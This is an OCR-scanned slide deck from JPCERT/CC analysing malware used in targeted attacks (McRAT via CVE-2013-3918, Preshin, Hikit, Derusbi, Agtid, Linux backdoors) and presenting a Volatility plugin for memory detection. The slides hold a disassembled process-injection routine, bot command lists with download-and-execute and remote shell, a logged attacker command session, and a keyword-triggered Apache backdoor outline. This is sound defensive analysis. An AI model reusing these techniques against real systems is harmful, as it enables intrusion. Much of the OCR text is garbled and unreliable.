CVE-2013-3918 with McRAT

Shellcode

Malware

W e W . LW
W . WL . LW
WL L WL . LW
WL L WL . LW
WL L WL . LW
W e W . W
W e W . W
W, Bb.wWn@??. .
W.  .W. .W.
CWW . LW . LW

ZaWa o o WeooW
wWl..w.g.w

=

TEEEEEEER Y

L.dlt .. adi. ..

<l

JPCERT CC°



Malware Running in Memory Only

CVE-2013-3918 with McRAT

or
jz
mow
push
puszh
push
push
push
call
or
Moy
add
add
mow
push
push
lea
push
mow
push
Moy
push
call
or
jz
push
push
push
mow
push
push
push
Moy
puszh
call

eax, eax
short loc_ 24AF

[esp+5S@8@h+hProcess], eax
PAGE_EXECUTE_READWRITE ; +1Protect
338anh ; flAllocationType

6314h ; dusize

a8 y lpaddress

eax ; hProcess
[ebp+str.VirtualAllocEx]

eax, eax

short loc_2AF

ebx, esp

ebx, 44h ; 'D’

ebx, 18h
[esp+58@8h+1pStartAddress], eax

a8 5 FlpNumberOfByteskritten
6314h ; nsize

eax, [ebp+str.MALWARE DATA]

sax 3 lpBuffer

eax, [esp+S8Ch+lpStartAddress]
eax ; lpBaselddress
eax, [esp+5l@h+hProcess]

eax ; hProcess
[ebp+str.WriteProcessMemory ]

eax, eax

short loc_2AF

a8 y 1lpThreadId

a ; dwCreationFlags
a8 y lpParameter
eax, [esp+S8Ch+lpStartAddress]
eax ; lpStartéddress
a s dwstacksize

a ; 1pThreadadttributes
eax, [esp+5l8h+hProcess]

2ax y hProcess

[ebp+str.CreateRemoteThread]

71 Copyright©2015 JPCERT/CC All rights reserved.

B Executes rundll32.exe and
Injects code

B McRAT's data below
Shellcode is injected

B Not saved as a file

JPCERT CC°




Malware (Intrusion)

Simple HTTP bot with limited functions

Command list

command Info

downonly Download file

downexec Download and Execute file

- Run remote shell command

JPCERT CC°
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Preshin Controller
PHP-based Controller

( "Content-Type: text/htmlinin"};
{ "Cache-Control: proxy-revalidate,no-cache,must-revalidate™ ) ;

= @;
env({"QUERY_STRING");

getenv("REQUEST_METHOD™ ) ;

W ("CONTENT_LENGTH™);

BEL

"GET")

W ("QUERY_STRING");

BEL
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Preshin Controller

Example of command execution

d:\files\
"d:\tools\program files\"
"d:\files\program files\"
"c:\program files\"
"c:\program files\Google\Chrome\Application"
echo 123 >c:\PROGRA~1\Google\Chrome\Application\1l.txt
dir c:\PROGRA~1\Google\Chrome\Application\
downonly http:f/ﬁ/l.cab -savefile d:\temp\1.cab
dir d:\temp\*.cab
usa d:\temp\l.cab /quiet /extract:C:\c:\PROGRA~1\Google\Chrome\Application\
usa d:\temp\l.cab /quiet /extract:c:\PROGRA~1\Google\Chrome\Application\
dir c:\PROGRA~1\Google\Chrome\Application\
at 4:08 c:\PROGRA~1\Google\Chrome\Application\chrome.exe
tasklist /svc
¢ : \PROGRA~1\Google\Chrome\Application\chrome.exe
tasklist
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Malware (Intrusion)

HTTP bot with basic functions

Command list

command Info command Info

Get disk information
2 File list 9 Delete file
3 Open file 10 Delete file/folder
4 Upload file 11 Upload file
5 Create file 12 Create folder
7 Load file 13 Move file

75 Copyright©2015 JPCERT/CC All rights reserved.
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Malware (Concealing)

Malware with Rootkit functions

Command list

command info

file File related operation
information Send configuration information
proxy Enable Proxy settings
connect Connect to Hikit proxy
shell Run remote shell command
socks5 Enable Proxy settings (socksb5)
exit Terminate

JPCERT CC°
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Hikit Configuration Information

Hikit has proxy information of the internal network

[Hikit Config Info] ID
ID : M 8BEO, test
Proxy setting Targ et name

Type : 1
Server : 1P - Proxy Info
User :

Password
Server settingl
Server : 113

Port :
Server setting2

Server :

Port : 0
: 00:00:00
: 00:00:00

(Enable: 1 Disable: 0)
1 Tue: 1 Wed: 1 Thu: 1 Fir: 1 Sat: 1 Sun: 1

: 0-0-0 0:0:0 . i
. Disable Rootkit setting
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Malware (Concealing)

Malware recently often used

Command list

command info

Service/Process related

cmd4 .

operation
cmd5 Run remote shell command
cmd6 Connect to Derusbi proxy
cmd7 File operation
cmd8 Terminate
cmd9 Create/Delete file

JPCERT CC°
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Derusbi Configuration Information

Derusbi has proxy information of the internal network

[Derusbi Config Info]
1D : 20150126 1D
: .140:443,

Server list

Sleep time |

Service name? . wuauserv

onnect mode . 4 (HTTP POST)

Proxy setting 1
Server : : 8080 h Proxy info
User :

Password
Proxy setting 2
Server ; : 8080
User -
Password
Proxy setting 3
Server :
User
Password

JPCERT CC°®
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Code Signing Certificate

ldentity Type Country
System Integrator exe Japan
Software Vendor exe Japan
Software Vendor exe Korea
Automaker exe Korea
Heavy Industry jar Korea
Software Vendor exe Korea
Electronics Industry jar Korea
Software Vendor exe Korea

JPCERT CC°
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Infrastructure Used by Attackers

Japan Web Server

Backdoor =

Targeted
Organization

Attacker’s
Server
K Overseas \
C2 Server Server

1
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Linux Backdoor

mod_rootme

e apache module
 Runs a remote shell by sending a keyword

mod_rootme source

Keyword
“Roronoa”

_fd );

{ int rd _pipe, int wr_pipe );
( int rd_pipe, int wr_pipe );

JPCERT CC°
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Linux Backdoor

rs_linux

« Highly sophisticated Linux bot

MyNetstat CreateShell Mymkdir
PortTunnelGet GetFileSource Mymkfile
PortTunnel _RemoteClose MyPs Myrmfile
PortTunnel_Show KillByPid Myrmdir
CreatePortTunnel NewConnectTo ListDir
PortForward StartPutFile my_reboot
PortForward_Show PutFileDest ShowHide
PortForward_Close ShellServer SwitchHide
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ANALYSIS TOOLS
aptl/scan.py
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aptl/scan.py

« Volatility Plugin
e Detect malware in memory dump
e Extract malware configuration information

e aptl7scan
 derusbiconfig
* hikitconfig
 agtidconfig

JPCERT CC°
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aptl/scan.py

Scan with YARA

Search configuration
data address

Parse configuration data

b

Dump configuration
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aptl/scan.py

aptl/scan Detecting Malware

BlackCoffee Derusbi

mal@works:/opt/vol2.4% python vol.py --plugins=contrib/plugins/malware
aptl7scan -f mem.1image --profile=Win/SP1x86
Volatility Foundation Volatility Framework 2.4

Data VA Malware Name

0x10000000 Derusbi
regsvr32. 0x10000000 Derusbi
regsvr32. 0x001fO000 Hikit
regsvr32. 0x003e0000 Blackcoffee
rundl132. 0x10000000 Agtid
Appdata.exe Ox00020000 Agtid
rundl132.exe 0x004e0000 Preshin

JPCERT CC°®
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aptl/scan.py

derusbiconfig Dump configuration information for Derusbi

mal@works:/opt/vol2.4% python vol.py --plugins=contrib/plugins/malware
derusbiconfig -f mem.image --profile=Win7SP1x86
Volatility Foundation Volatility Framework 2.4

Derusbi Config (Address: 0x10004778):
Process: regsvr32.exe (3632)

[Derusbi Config Info]
20150126
.140:443,

Service name? . wuauserv
Connect mode . 4 (HTTP POST)
Proxy setting 1
Server : : 8080
User :
Password
Proxy setting 2
Server :
User
Password
Proxy setting 3
Server :
User
Password
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aptl/scan.py

hikitconfig Dump configuration information for Hikit

mal@works:/opt/vol2.4% python vol.py --plugins=contrib/plugins/malware
hikitconfig -f mem.image --profile=Win7SP1x86
Volatility Foundation Volatility Framework 2.4

Hikit Config (Address: 0x21laflo):
Process: regsvr32.exe (2720)

[Hikit Config Info]
ID : M BBEQ, test
Proxy setting

Type 1

Server :

User

Password
Server settingl

Server :

Port :
Server setting2

Server :

Port : 0
Start Time : 00:00:00
Stop Time : 00:00:00
Work Day (Enable: 1 Disable: 0)

Mon: 1 Tue: 1 Wed: 1 Thu: 1 Fir: 1 Sat: 1 Sun: 1
Sleep Until : 0-0-0 0:0:0
Hide Flag : Disable
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aptl/scan.py

agtidconfig Dump configuration information for Agtid

mal@works:/opt/vol2.4% python vol.py --plugins=contrib/plugins/malware
agtidconfig -f mem.image --profile=Win7SP1x86
Volatility Foundation Volatility Framework 2.4

Agtid Config (Address: 0x10008410):
Process: rundll32.exe (3108)

[Agtid Config Info]
Server :

Port : 443
Version : 0820

1D : 001
Running count : 1000000
Sleep time : 3
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DEMO
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How to Download

https://github.com/JPCERTCC

GitHUb Explore Features Enterprise

JPCERT Coordination Center

Tokyo, Japan hitps:www jpcert.orjpl
El Repositories People 2
Filters =
cordova HTML %33 52

Vulnerability Analysis of Hybrid Applications using Apache Cordova

Updated 2 days ago
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Thank You!

Contact
B aa-info@jpcert.or.|p
B https://www.jpcert.or.jp

Incident Report
B info@jpcert.or.|p
B https://www.|pcert.or.jp/form/
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